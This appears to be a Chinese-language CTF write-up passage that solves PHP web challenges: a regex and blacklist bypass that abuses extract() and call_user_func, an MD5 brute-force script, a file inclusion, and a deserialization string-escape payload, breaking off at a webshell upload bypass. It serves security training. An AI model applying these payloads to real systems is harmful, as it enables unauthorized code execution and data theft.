if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}

下面就来详细讲一下这里的正则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
先来看^$,这两个就是开始和结束符的意思
然后就是\- 这个反斜杠不用多说,就是转义,相当于我么拿到字符的第一个必须是-
再看[a-e],意识就是说我们紧更着-后面的那个字符需要是小写的a-e中的任意一个字符
然后就是[^a-zA-Z0-8] 意思就是下一个字符是非小写也非大写同时也非数字的字符,这里的^表示非
<b>就是规定紧接着的是<b>
(.*) 核心填坑区。 .是任意字符,*是贪婪匹配。 这里我们需要知道小数点其实就是指的匹配任意一个字符的意思
>{4} {4} 表示精确重复 4 次前面的字符 >
\D*? \D 是非数字,*? 是非贪婪匹配(能不匹就不匹)。
(abc.*?) 必须以 abc 开头,后面 .*? 能不匹就不匹。
p 绝对匹配,必须是 p。
(hp)* hp 这个组合可以出现 0 次或无限次。
\@ 转义的 @ 符号。 @ 1
R 绝对匹配大写 R。 R 1
(s|r) 管道符 ` 代表“或”,选s或者r`。 s
. 任意单个字符(不含换行符)。 ~ 1
$ 结束标记,不占字符。 (无) 0

在了解到上述的正则规则的之后我们就直接传参去想办法先拿到hint,这里还要求了我们必须有29个字符,那我们在上面有让我们填充功能的地方塞就可以了

那么我们第一段payload:

1
shaw[root=-a?<b>rrrrr>>>>RabcRphphp@Rrr

我们首先要注意

1
2
3
4
5
6
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}

这里的php://input伪协议回去读取哦我恶魔女post提交的所有内容,我如果直接拿hackbar串我们的payload

关键点: 虽然你用了 [ 避开了下划线,但 Hackbar 这个插件有个“自作聪明”的特性——它在发送 POST 请求时,为了符合标准的 HTTP 协议,会自动把你输入的 [ 变成 %5B。

  • 一旦变成了 %5B,里面那个 % 符号就立刻命中了黑名单里的 %(正则里有 %)。
  • 所以你还没等传到 extract 那一步,代码就在 die("I am sorry but you have to leave.") 这一行把你踢出去了。

所以离我们这里就还是需要拿抓包软件直接发包

image-20260406203025163

看见了提示,然后题目里面还说我么你要$ans===$SecretNumber

那我们直接去把SecretNumber的值报出来

脚本:

1
2
3
4
5
6
7
8
9
import hashlib
import re
a = 'shaw'
b = 'root'
for i in range(10000,99999):
string = a+str(i)+b
md5 = hashlib.md5(string.encode('utf-8')).hexdigest()
if(re.findall("166b47a5cb1ca2431a0edfcef200684f",md5)):
print(i)

得出来时21475

****现在可以使用 call_user_func 函数了, call_user_func 是PHP的内置函数,该函数允许用户调用直接写的函数并传入一定的参数,这里直接调用qwq类中的oao: my[ans=qwq::oao****

****显示了config.php的源代码,其中有flag。 最终payload:****

1
shaw[root=-a?<b>rrrrr>>>>RabcRphphp@Rrr&ans=21475&my[ans=qwq::oao 

image-20260406203238194

毒鸡汤

进入题目之后是这样的,然后瞎点了一下发现还是没啥东西

image-20260406205446721

然后拿dirsearch扫出来个hint.txt和www.zip

其实这里直接去www.zip就会下载网站的源文件了:

其中hint提示我们flag就在根目录里面,人那后我们去看index.php

image-20260406205806306

这里直接就是文件包含:

image-20260406205436971

Unserialize_Escape

进来就是源码:

image-20260406212112324

这里的考点其实就是字符串逃逸

preg_replace(‘/x/‘, ‘yy’, $string);

这里就是整个字符串逃逸的核心,这里会在$string里面把所有的x替换成y,这里之所以要写成/x/是因为preg要求第一个是正则表达式

往下看就是会把user变成一个数组,然后要求passwd的值为123456,但是上面系统自动就已经赋值了passwd=aaaaa了,那这个时候我们就要用字符串逃逸了

首先我们要知道我们要让php读取肯定是

1
";i:1;s:6:"123456";}

”;用于和前面本来的序列化数据进行闭合,后面的

1
i:1;s:6:"123456";}

则是要让php识别为123456才是数组索引为1也就是passwd的值,从而把本来passwd的值挤出去

那我们数一下发现”;i:1;s:6:”123456”;}的长度为20

那我们要输入多少个x呢,我们知道一个x会多出一个y,那我们要拼进去是20个字符的”;i:1;s:6:”123456”;}

那么我们这里就直接输入20个x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
情况 1:少 1 个 x → n=19(失败!)
步骤 1:原始 username
19个x + 20个恶意段
原始长度 = 19+20=39 → 序列化标记:s:39:
步骤 2:过滤后(x 变 yy)
19x → 38y,+20 恶意段 → 总长度 = 38+20=58
过滤后内容:[38个y] + [20个恶意段]
步骤 3:PHP 反序列化(只读 s:39,读 39 个字符)
读前 39 个字符:38个y + 第1个恶意字符
→ 读完截断!
步骤 4:甩出去的内容(剩下的字符)
总长度 58 - 读了 39 = 甩出去 19 个字符
甩出去的是:恶意段后 19 个字符(少 1 个,不完整!)
结果:
甩出去的是残缺的:i:1;s:6:"123456";}(少开头的";)
→ PHP 看不懂残缺结构,反序列化失败!
情况 2:正好 x → n=20(成功!)
步骤 1:原始 username
20个x + 20个恶意段
原始长度 = 20+20=40 → 序列化标记:s:40:
步骤 2:过滤后
20x→40y,+20 恶意段 → 总长度 = 60
内容:[40个y] + [20个恶意段]
步骤 3:PHP 只读 s:40(读 40 个 y)
读完截断!
步骤 4:甩出去的内容
60-40=20 个字符 → 正好是完整恶意段:";i:1;s:6:"123456";}
结果:
甩出去完整结构,PHP 解析为第二个元素,值 = 123456,成功!
情况 3:多 1 个 x → n=21(失败!)
步骤 1:原始 username
21个x + 20个恶意段
原始长度 = 21+20=41 → 序列化标记:s:41:
步骤 2:过滤后
21x→42y,+20 恶意段 → 总长度 = 62
内容:[42个y] + [20个恶意段]
步骤 3:PHP 只读 s:41(读 41 个字符)
读前 41 个:42个y里的前41个y
步骤 4:甩出去的内容
62-41=21 个字符
甩出去的是:最后1个y + 完整20个恶意段
→ 内容:y";i:1;s:6:"123456";}
结果:
开头多了个无用的y,结构变成:y;i:1;s:6:"123456";}
→ PHP 看不懂带 y 的错误结构,反序列化失败!

payload:

1
username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}

自由的文件的上传(script短标签绕过上传一句话木马)

进入题目就让我们传文件,然后我们直接传一个最简单的一句话木马发现这里把?替换成了!,那我们这里就不能直接用php标签来写了

image-20260407161557064

我们可以使用